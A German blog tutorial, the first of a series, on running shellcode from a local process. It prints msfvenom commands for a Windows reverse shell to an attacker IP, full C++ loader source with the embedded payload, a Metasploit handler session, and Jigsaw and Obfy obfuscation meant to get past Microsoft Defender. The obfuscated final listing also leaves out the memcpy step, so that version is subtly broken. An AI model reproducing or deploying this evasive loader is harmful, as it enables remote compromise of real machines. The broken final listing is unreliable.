In dieser Beitragsreihe beschäftigen wir uns mit Shellcode, wie man diesen in Prozesse einschleust und einigen Techniken zur Verschleierung der Binärdateien. Im ersten Teil schauen wir uns an, wie man Shellcode aus einem lokalen Prozess heraus ausführt. Zusätzlich verschleiern wir das Programm so, dass der Defender es nicht mehr als Bedrohung erkennt.
Alle benötigten Dateien findet ihr im Repository
Den Shellcode generieren wir mit msfvenom
und nutzen folgende Parameter:
Parameter | Beschreibung |
---|---|
-p - Payload | x86 Reverse Shell |
LHOST | IP des Angreifers |
LPORT | Listening Port des Angreifers |
-b - Bad Chars | Spezielle Zeichen müssen wir rausfiltern, da sie den Shellcode unbenutzbar machen |
-e - Encode Shellcode | Wir enkodieren unseren Shellcode |
-i - Iterations | Gibt die Anzahl der Enkodierungsvorgänge an |
-f - Format | Die Ausgabe soll im C-Format sein |
> shell.c | Speichere in die Datei shell.c |
msfvenom -p windows/shell_reverse_tcp LHOST=172.23.61.130 LPORT=445 -e x86/shikata_ga_nai -i 8 -b '\x00\x0d\x0a' -f c > shell.c
Wir erstellen uns ein neues C++ Projekt und fügen den Shellcode ein. Zusätzlich brauchen wir die Größe der Bytes. Diese entnehmen wir der msfvenom
Ausgabe.
#include <stdio.h> #include <Windows.h> //shell.c unsigned const char payload[] = "\xd9\xe9\xbb\x1b\x2c\xe5\xd6\xd9\x74\x24\xf4\x5a\x2b\xc9" "\xb1\x81\x83\xc2\x04\x31\x5a\x14\x03\x5a\x0f\xce\x10\x6e" "\xce\xb6\xb5\x28\xcb\x04\x90\x43\xcf\x7e\x78\x9f\xc6\xce" "\x05\x5c\x33\xcc\xcb\x21\xd3\x2e\x6f\xb6\xd0\x7d\xda\xd1" "\xaf\xa7\x1c\xd8\xfb\xa2\x94\xd6\xb1\xf3\x25\xe5\x3e\xdb" "\x7d\x58\xb1\x51\x2d\x07\x37\x6d\x9b\x0b\xbe\x1c\x57\xcb" "\x7f\x5d\x32\xd5\xd1\x71\x14\x2e\x07\xef\x45\x69\x0c\x3e" "\x8d\xca\xb1\x7d\xc4\x07\x4f\xf7\xd8\xe8\x37\x33\xeb\x67" "\xd8\x97\xb6\xf5\xbf\xde\xb3\xd9\x6a\xf1\x94\x7b\x68\x21" "\xcc\xab\xda\xcd\xd1\x43\xef\x4e\x2a\x1d\xd1\xb7\xec\x24" "\x62\x0b\xc5\x61\x48\xe2\x7c\x9e\x54\x9f\x2d\x8c\x38\x09" "\x23\x13\xb2\x6d\x6f\xe8\xdc\xad\xe3\x99\x14\x89\xca\x07" "\x67\xf2\x09\xdb\x2e\x38\x9f\x2c\xc4\x12\xf5\x18\x94\xf5" "\xb1\xed\x84\x6f\xfe\xbb\x23\xf4\xae\x10\x62\x2f\x63\x2b" "\x6a\x3c\x22\x7a\xd3\x96\x15\x99\xb0\x62\x38\xbe\x93\x1e" "\x72\xcc\xe3\xef\xa9\x9a\xaa\xc9\xda\xd5\x09\xed\x4f\xb2" "\x61\x18\x48\x9c\x0b\x45\xcb\xab\xaf\x91\x20\xc2\x66\x39" "\xac\x66\xd2\x21\x83\x13\xb4\x12\xcb\x39\x55\x20\x19\xff" "\xa3\x8b\xaa\x6e\x3e\x90\x31\x49\x19\x74\x7f\x1f\x89\xfe" "\x89\xdd\x65\xa2\x5b\xa0\x13\xe4\x6b\x18\x99\xde\xfc\x63" "\x9e\x9b\x7b\x6d\x65\x6d\xf4\x5b\x39\x08\x89\xb1\x85\xd8" "\x6a\x29\x88\x5a\xdd\x14\x8e\xb9\xc0\xae\x63\x89\xbe\x13" "\xa6\xf3\xc2\x19\xa8\x41\x5d\xf7\x11\x02\x45\xd3\xec\xa1" "\x88\x13\x57\xb7\x0b\x7d\x79\x5a\x0c\x60\xde\x6b\x6c\x4c" "\x61\xe3\x74\x88\xbd\x6a\xda\x43\xca\xb8\xe4\x07\xd4\x5a" "\x92\x04\xd9\x18\xb0\x57\x8d\xf3\x87\x65\x56\x06\x21\xb3" "\x02\x9b\xc4\x87\x56\xed\x6b\xef\xbb\x9f\x21\xbf\x7f\x12" "\x4d\x3b\xdc\xf7\x4c\xc6\xf5\xe7\x30\x05\x87\x7f\x7c\x19" "\x72\x86\x62\xc4\x7a\x8f\xd6\xc9\x19\xe8\x6e\xa7\x54\x04" "\xd9\xbf\x94\x69\xeb\x41\x64\xac\xd5\xe4\x47\xfe\x5d\x2d" "\x90\xf9\xea\x18\x62\x76\x01\xe6\xc3\xe5\xd6\xfa\x32\x22" "\xc0\xf6\x86\x5f\x16\x3a\x4a\x1e\x59\xe3\x0c\x4b\x69\xd2" "\x6d\x80\xef\x45\x49\xc2\x36\xe5\x78\x72\x55\xf3\x4d\xbe" "\xbb\xac\x88\xcc\x8d\xcb\xc1\x6f\x40\xd7\x54\x7e\xa2\x5d" "\xcc\x6a\xdc\x99\x59\x67\x84\xb4\x05\xba\x33\x43\x48\xb5" "\x9b\x22\xa7\xc6\x06\xf6\x36\x3f\x4b\x29\xf8\x66\xa8\xfb" "\x55\x5f\x07\xa4\xfd\x5f\x98\x69\x71\xcc\xb6\x2f\x6e\x9d" "\xf1\xe6\x99\x70\x04\x05\x47\xb3\x1e\xe3\xb7\xa9\x6f\x42" "\xb1\xda\xeb\x37\x61\x5e\x20\x23"; //size is given by msfvenom after shellcode creation size_t size = 540; int main(int argc, char** argv) { char* code; printf("#nosoc - expecttheunexpected"); code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); memcpy(code, payload, size); ((void(*)())code)(); return(0); }
Nach dem Kompilieren, laden wir inject.exe
im Debugger und schauen uns den Shellcode genau an. Dies verschafft uns einen groben Überblick über die Funktionsweise.
Nun starten wir einen Handler in Metasploit, der die Reverse-Shell annimmt.
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set lport 445 lport => 445 msf6 exploit(multi/handler) > set lhost 172.23.61.130 lhost => 172.23.61.130 msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 172.23.61.130:445
Wir starten jetzt Inject.exe
, betrachten die Ausgabe in Metasploit und die Prozessdetails auf der Opfer-Maschine.
Inject.exe
wird natürlich recht einfach durch Antivirensoftware erkannt. Wir müssen den Shellcode somit tarnen. Das machen wir mit dem Tool jigsaw 2) und dem Framework Obfy.
Zuerst erstellen wir den Shellcode im Raw Format:
msfvenom -p windows/shell_reverse_tcp LHOST=172.23.61.130 LPORT=445 -e x86/shikata_ga_nai -i 8 -b '\x00\x0d\x0a' -f raw > shell.raw
Dann übergeben wir diesen an Jigsaw:
python3 jigsaw.py shell.raw
und erhalten eine Datei mit C++ Code.
unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a, ... 401, 459, 65, 118, 356, 42, 182, 220 }; int calc_len = 540; unsigned char calc_payload[540] = { 0x00 }; int position; // Reconstruct the payload for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) { position = positions[idx]; calc_payload[position] = jigsaw[idx]; }
#include <stdio.h> #include <Windows.h> size_t size = 540; unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a, 0xc5, 0xeb, 0x48, 0x11, 0xd8, 0x49, 0xf0, 0x93, 0x5b, 0xb9, 0x69, 0xf8, 0x73, 0x80, 0xe4, 0x3f, 0xa6, 0xa6, 0x3a, 0xf5, 0x56, 0x12, 0x7c, 0xe4, 0x72, 0xbb, 0x13, 0x5b, 0xc5, 0x40, 0xf0, 0x01, 0x6f, 0x0b, 0x35, 0xc2, 0x1c, 0x2d, 0x76, 0xeb, 0x9e, 0xd8, 0xd6, 0x39, 0x7c, 0x61, 0x7e, 0xc7, 0x16, 0x69, 0x0e, 0x1c, 0x78, 0xb0, 0xa3, 0x36, 0x5b, 0x6f, 0xbc, 0xa0, 0x2e, 0x63, 0xe4, 0x7f, 0xea, 0x13, 0x2c, 0xaa, 0x6c, 0xbf, 0xdb, 0x4a, 0x69, 0xaa, 0x4d, 0x71, 0xd6, 0x4c, 0x61, 0x65, 0x59, 0xc3, 0x5f, 0x43, 0xf3, 0x94, 0xdf, 0x59, 0x8d, 0xbb, 0x25, 0x8f, 0x6f, 0x17, 0x1d, 0xd7, 0xa1, 0xef, 0x9b, 0xe0, 0x31, 0x15, 0x36, 0xe2, 0x5c, 0xa5, 0x94, 0x60, 0x01, 0x2b, 0x08, 0x01, 0x9f, 0xa1, 0x14, 0x2b, 0x86, 0x1f, 0xbf, 0xd1, 0x0f, 0xbf, 0x03, 0x28, 0xc1, 0x10, 0x4d, 0x66, 0x32, 0xd0, 0xcb, 0x4e, 0x34, 0xdf, 0xeb, 0x99, 0xf2, 0x14, 0x3f, 0x4c, 0xf8, 0xed, 0xc1, 0xbd, 0x0e, 0x9b, 0xc1, 0x57, 0xd5, 0x1d, 0x01, 0xf5, 0x79, 0xd1, 0xc4, 0xea, 0xc0, 0xcf, 0x0c, 0xea, 0x05, 0x9d, 0x8c, 0x8d, 0x9a, 0x2d, 0x94, 0x5b, 0x05, 0xde, 0x37, 0xa6, 0x17, 0x80, 0x07, 0x83, 0x6a, 0x2d, 0xe4, 0xd5, 0xc3, 0x85, 0x71, 0x2a, 0xa4, 0x3d, 0xf6, 0x5c, 0xc8, 0x6c, 0x6a, 0x86, 0xf3, 0x5c, 0x67, 0x4d, 0xdc, 0x11, 0xff, 0x81, 0xce, 0x3b, 0x9c, 0x4d, 0x98, 0xe8, 0xd4, 0x6a, 0x3e, 0x4b, 0x51, 0xd5, 0x4c, 0xfc, 0xe4, 0x8e, 0x6a, 0xc1, 0x63, 0x54, 0x7f, 0x61, 0xa4, 0x42, 0x60, 0xb5, 0x4d, 0x92, 0xd9, 0x08, 0x22, 0x23, 0xbe, 0x82, 0x9f, 0x4c, 0xeb, 0x8c, 0x3a, 0x6e, 0x88, 0xd0, 0x5a, 0xe0, 0xae, 0x42, 0x38, 0x4d, 0x31, 0xd0, 0xe6, 0x72, 0x54, 0xb3, 0x2b, 0x8d, 0x2f, 0xca, 0x38, 0x92, 0xe6, 0x38, 0xfd, 0xa1, 0x9c, 0x70, 0xd0, 0xe5, 0xb5, 0xff, 0xe1, 0x0e, 0x81, 0x4a, 0xc5, 0x67, 0x57, 0x3a, 0x33, 0xa0, 0xc8, 0x7f, 0xe6, 0x6c, 0xf1, 0x77, 0x3d, 0xdd, 0x63, 0xa1, 0xf9, 0x4f, 0x99, 0xf1, 0x8a, 0xb3, 0x60, 0xf6, 0xae, 0x86, 0xd5, 0x3e, 0x61, 0xc4, 0x93, 0xd9, 0x2d, 0xbe, 0xe2, 0xf0, 0xec, 0x13, 0x85, 0x91, 0x8a, 0x95, 0x37, 0x9f, 0x41, 0x43, 0x3c, 0xda, 0x81, 0xb3, 0xf5, 0xa9, 0x5f, 0x3e, 0x06, 0x0e, 0x47, 0x03, 0x5e, 0x28, 0xec, 0x54, 0x9f, 0x95, 0xca, 0x59, 0xee, 0x9a, 0xd2, 0xe5, 0xa4, 0x32, 0xcf, 0xb9, 0xe5, 0xd8, 0x78, 0xe8, 0xb1, 0xa5, 0xee, 0xe5, 0x4e, 0x2c, 0x8b, 0xc3, 0x5b, 0x7d, 0x23, 0x18, 0x64, 0xda, 0x56, 0x59, 0xa9, 0x95, 0x6f, 0x9e, 0x9b, 0x3c, 0xcb, 0x2a, 0x54, 0x6a, 0x5c, 0x25, 0xf6, 0xc1, 0xf9, 0x5c, 0xab, 0xe5, 0xd0, 0x8b, 0xdd, 0xd0, 0x74, 0xda, 0x68, 0x09, 0x52, 0x25, 0xd0, 0xa9, 0xd1, 0xba, 0x9f, 0xcd, 0x41, 0x54, 0x15, 0x12, 0xba, 0xd2, 0xd5, 0xdd, 0x35, 0x76, 0xa8, 0x5a, 0xdc, 0xf0, 0xdb, 0xbd, 0x32, 0x47, 0x6d, 0x4b, 0x89, 0x17, 0xa1, 0x80, 0x46, 0x65, 0x51, 0x4b, 0xca, 0xeb, 0xa4, 0x0c, 0xd9, 0x3c, 0xf4, 0x1e, 0x39, 0xd4, 0x87, 0x91, 0x91, 0xbd, 0x75, 0x24, 0x7a, 0x7b, 0x79, 0x25, 0x7e, 0x2d, 0xc9, 0xd4, 0x73, 0x47, 0x05, 0xe4, 0xed, 0x24, 0x10, 0xbe, 0x15, 0xa5, 0xb0, 0x3a, 0x43, 0x9e, 0xc3, 0xef, 0x5d, 0x57, 0xfe, 0xeb, 0x75, 0x85, 0x11, 0xe7, 0x50, 0xc7, 0x9c, 0x6f, 0xe1, 0x7b, 0x63, 0xcb, 0xbe, 0x17, 0xeb, 0x1e, 0x34, 0x91, 0xf9, 0x50, 0xe5, 0x28, 0x74, 0x9f, 0x3e, 0xe0, 0xe8, 0x83, 0x36, 0xc0, 0x08, 0xcd, 0x8f, 0xa7, 0xb8, 0x32, 0xf4, 0x01, 0x96, 0xd2 }; int positions[540] = { 105, 216, 295, 137, 269, 55, 488, 354, 384, 2, 398, 471, 219, 72, 377, 123, 197, 188, 243, 161, 169, 79, 290, 454, 387, 527, 480, 412, 178, 329, 267, 441, 492, 416, 103, 196, 83, 275, 539, 26, 391, 125, 203, 59, 153, 76, 349, 402, 202, 142, 68, 1, 18, 288, 106, 62, 291, 281, 107, 365, 35, 223, 358, 117, 503, 427, 506, 181, 63, 408, 525, 176, 313, 23, 417, 311, 195, 89, 122, 522, 494, 170, 152, 20, 304, 227, 150, 29, 460, 319, 228, 312, 376, 36, 256, 24, 37, 320, 518, 514, 355, 443, 43, 64, 128, 483, 470, 462, 11, 224, 212, 75, 345, 465, 115, 110, 138, 380, 190, 333, 323, 501, 149, 455, 226, 209, 16, 361, 508, 54, 139, 232, 373, 370, 236, 207, 394, 238, 34, 532, 395, 531, 489, 177, 415, 453, 495, 155, 302, 318, 218, 330, 116, 242, 435, 346, 334, 154, 449, 475, 104, 464, 450, 292, 307, 126, 71, 482, 509, 258, 353, 348, 45, 372, 463, 485, 505, 414, 276, 86, 6, 298, 383, 347, 201, 409, 498, 478, 366, 331, 88, 134, 324, 95, 111, 397, 425, 51, 259, 315, 102, 22, 337, 237, 241, 82, 526, 444, 278, 120, 456, 273, 167, 419, 251, 484, 270, 423, 77, 211, 184, 375, 156, 473, 466, 15, 519, 407, 185, 92, 91, 523, 221, 49, 371, 338, 277, 516, 250, 143, 406, 147, 225, 515, 70, 252, 193, 367, 486, 504, 434, 440, 437, 350, 271, 282, 205, 166, 511, 248, 191, 404, 369, 279, 424, 336, 266, 90, 474, 533, 260, 389, 235, 151, 368, 457, 164, 436, 140, 468, 335, 386, 325, 213, 360, 41, 189, 538, 310, 200, 157, 421, 93, 287, 112, 280, 289, 528, 305, 73, 100, 231, 517, 165, 12, 136, 210, 496, 314, 244, 422, 58, 97, 426, 481, 96, 420, 530, 253, 439, 382, 309, 127, 46, 33, 113, 513, 390, 4, 222, 520, 27, 472, 284, 296, 192, 268, 21, 357, 306, 497, 130, 98, 163, 67, 80, 317, 467, 249, 99, 274, 493, 234, 438, 392, 217, 262, 19, 146, 160, 133, 124, 430, 114, 159, 186, 374, 174, 403, 411, 299, 447, 499, 158, 378, 148, 381, 458, 14, 78, 272, 264, 442, 109, 429, 255, 171, 246, 57, 162, 500, 535, 339, 198, 48, 84, 17, 145, 74, 431, 534, 294, 477, 461, 87, 206, 131, 328, 53, 388, 168, 293, 490, 359, 5, 362, 8, 129, 32, 239, 400, 510, 326, 183, 240, 405, 285, 173, 340, 135, 364, 50, 172, 537, 180, 132, 214, 141, 507, 47, 199, 343, 432, 108, 521, 229, 451, 28, 247, 101, 187, 303, 69, 418, 352, 342, 179, 265, 233, 61, 7, 31, 10, 263, 44, 283, 39, 410, 300, 0, 230, 9, 38, 445, 121, 119, 175, 399, 13, 208, 297, 479, 413, 81, 446, 316, 428, 452, 448, 385, 30, 322, 512, 487, 25, 286, 94, 66, 341, 476, 3, 351, 433, 469, 245, 52, 301, 396, 60, 40, 215, 332, 524, 344, 502, 363, 261, 491, 85, 536, 204, 308, 393, 529, 327, 254, 56, 321, 257, 194, 379, 144, 401, 459, 65, 118, 356, 42, 182, 220 }; int calc_len = 540; unsigned char calc_payload[540] = { 0x00 }; int position; int main(int argc, char** argv) { char* code; printf("#nosoc - expecttheunexpected"); // Reconstruct the payload for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) { position = positions[idx]; calc_payload[position] = jigsaw[idx]; } code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); memcpy(code, calc_payload, size); ((void(*)())code)(); return(0); }
Jigsaw allein reicht an dieser Stelle jedoch nicht, da der Defender die Datei immer noch erkennt.
Hier können wir das sogenannte Template Metaprogramming anwenden. Hierbei werden Quellcode Dateien während des Kompiliervorgangs erzeugt, welche die Binärdatei mit jedem Vorgang anders aussehen lässt. 3)4)
Hierzu laden wir uns Obfy herunter, binden die Headerdatei in unser Projekt ein und setzen die Makroanweisungen, zum Starten und Beenden der Code-Verschleierung.
#include <stdio.h> #include <Windows.h> #include "instr.h" size_t size = 540; unsigned char jigsaw[540] = { ... }; int positions[540] = { ... }; int calc_len = 540; unsigned char calc_payload[540] = { 0x00 }; int position; int main(int argc, char** argv) { char* code; // Reconstruct the payload OBF_BEGIN for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) { position = positions[idx]; calc_payload[position] = jigsaw[idx]; } OBF_END code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); ((void(*)())code)(); return(0); }
git clone https://github.com/psycore8/nosoc-shellcode
In Teil 2 beschäftigen wir uns damit den Shellcode in einen Remote Prozess zu injecten.